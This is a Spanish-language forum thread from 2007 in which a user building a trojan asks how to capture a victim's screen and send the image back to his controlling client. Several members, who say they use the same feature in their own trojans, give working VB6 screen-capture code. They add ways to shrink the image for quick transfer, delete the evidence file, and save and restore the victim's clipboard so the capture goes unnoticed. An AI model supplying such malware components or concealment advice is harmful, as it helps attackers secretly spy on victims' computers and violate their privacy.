Capturar Pantalla[Code+Pregunta xD]

Iniciado por hepy_92, 5 Mayo 2007, 03:07 AM

0 Miembros y 1 Visitante están viendo este tema.

hepy_92

bueno.. este code tiene 2 intenciones, ayudar y que me ayuden xD, ya vendran posts solamente para ayudar.. pero mientras sepa poco no creo que pueda ser asi =S

aca va la ayuda, es el code para capturar ventanas activas, y pantalla completa, perdon si ya estaba posteado, pero no lo encontre en el foro

Private Declare Sub keybd_event Lib "user32" (ByVal bVk As Byte, ByVal bScan As Byte, ByVal dwFlags As Long, ByVal dwExtraInfo As Long)

Private Sub Command1_Click()
'Captura la ventana activa
keybd_event 44, 0, 0&, 0&
End Sub

Private Sub Command2_Click()
'Captura toda la pantalla
keybd_event 44, 1, 0&, 0&
End Sub


y aca va la pregunta:
teniendo este code, a alguien se le ocurre alguna forma, de enviar la imagen capturada al cliente (teniendo en cuenta que estoi asiendo un troyano), y que se muestre en el form???, una idea de Vivachapas, era capturar pantalla, guardar la imagen en el disco de la victima, enviarla al cliente, i borrarla, pero como puedo hacer que se muestre en un form??? con un imagebox???
se acepta orientacion y ayuda! ;D
Gracias de Antemano!

<?BRoWLi?>

yo precisamente e usado ese sistema en mi troyano, una cosa medio xapucilla, pero que va de perlas... si quieres te ayudo y tal.

Eso es guardalo como archivo (yo antes de hacer el keybd_event, ago un resguardo de lo que la victima tenia copiado en el portapapeles), envialo al cliente, devuelvele el texto k tenia en el portapapeles anteriormente, elimina el arhchivo y listo... lo que se te puede complicar es la llegada al cliente...
Si TRaTaS D SeR JusTo SoLo Es JuSTo EL CoRaZóN, LoS DeMaS OrGaNoS TRaTaRaN De KiTaRLe La RaZoN - DobleV
Piratas.com.es

hepy_92

eso lo tengo mas o menos claro.. lo que falta es la llegada al cliente.. y nose si devolverle lo que tenia en el portapapeles.. pero me conformo con borrarlo xD
alguien tiene una idea de como hacer la llegada al cliente?

yovaninu

para esta funcionalidad de mi troyano yo hago uso de la libreria DiJPG.dLL... que te permite comprimir un BMP (producto de una captura correcta en bmp) a un jpg cuya calidad de imagen se gradua de acuerdo a un parametro de la libreria.

en general de un form normal:


Private Declare Function DIWriteJpg Lib "DIjpg.dll" (ByVal DestPath As String, ByVal quality As Long, ByVal progressive As Long) As Long

'variables para la captura de imagen en BMP
Dim aImg As Long
Dim sImg As Long

'API para captura de pantalla
Private Declare Function GetDesktopWindow Lib "user32" () As Long
Private Declare Function GetDC Lib "user32" (ByVal hwnd As Long) As Long
Private Declare Function BitBlt Lib "gdi32" (ByVal hDestDC As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal xSrc As Long, ByVal ySrc As Long, ByVal dwRop As Long) As Long


para capturar usas lo siguiente en un boton que puede ser "Capturar"

    Me.Cls
    Me.AutoRedraw = True
    Me.ScaleMode = 1
    aImg = GetDesktopWindow()
    sImg = GetDC(aImg)
    BitBlt Me.hDC, 0, 0, Screen.Width, Screen.Height, sImg, 0, 0, vbSrcCopy

    SavePicture Me.Image,  "c:\imagen.bmp"
   
    If SetWindowPos(hwnd, -1, 0, 0, 0, 0, SWP_Flags) Then
     Me.WindowState = 2
    End If

con lo que toda la pantalla se queda guardado en imagen.bmp que normalmente sera de casi 1.5MB, y para trasladarlo en el cliente seria muy lento... aqui interviene DIJPG.DLL...

Dibujas un control picture con autosize a true en el form:
y el siguiente codigo puede ir en un boton "Comprimir":

Dim loadStr As String

Picture1.Picture = LoadPicture("c:\imagen.bmp")

loadStr =  "c:\test.jpg"
SavePicture PictureUno.Image, "C:\tmp.bmp"

retVal = DIWriteJpg(loadStr, 50, 1) '50 es la calidad. disminuir para menor tamaño, un valor 8 o aproximado permite un archivo de solo 10 a 15kb, el cual seria muchisimo mas facil traerlo al cliente.

Kill "C:\tmp.bmp"



y una vez comprimido lo jalas desde el cliente y alli lo muestras en un Picture a tu gusto.... aunque yo lo muestro en un control webbrowser... ya es eleccion de cada uno.

La libreria a la que me refiero es facil de encontrarlo con el tio google.

Un saludo

~~

O mejor q tanto lio usa el modulo cJpe (ya esta muy posteado en el foro, buscalo) y lo haces todo en un paso...
En la legada al cliente tienes q guardar los datos en un archivo y cargarlos en un picture con loadPicture ;)

WarGhost

¿Qué culpa tengo yo de tener la sangre roja y el corazón a la izquierda?

hepy_92

ALFIN pude postear xD, perdon por no haber respondido antes, muchas gracias x toos los aportes, y por toda la ayuda!
no pude postear antes, pero primero el server estaba caido, lo estaban "opmitimizando".. luego quedo mas lento y con suerte podia leer =S alguien sabe a lo que se debe esto?=S
weno de todas maneras muchas gracias! ahora pruebo el code!

hepy_92

alguien me ayuda a como usar este modulo????=S

~~

Asi:

Dim foto As New cjpeg


Private Sub Command1_Click()
foto.SetSamplingFrequencies 2, 2, 2, 2, 2, 2
foto.Quality = 50   ' aqui ajustas la calidad dsd 1 a 100 hasi bajas calidad bajas peso
foto.SampleScreen
foto.SaveFile ("c:\" & "\capture" & ".jpg")
End Sub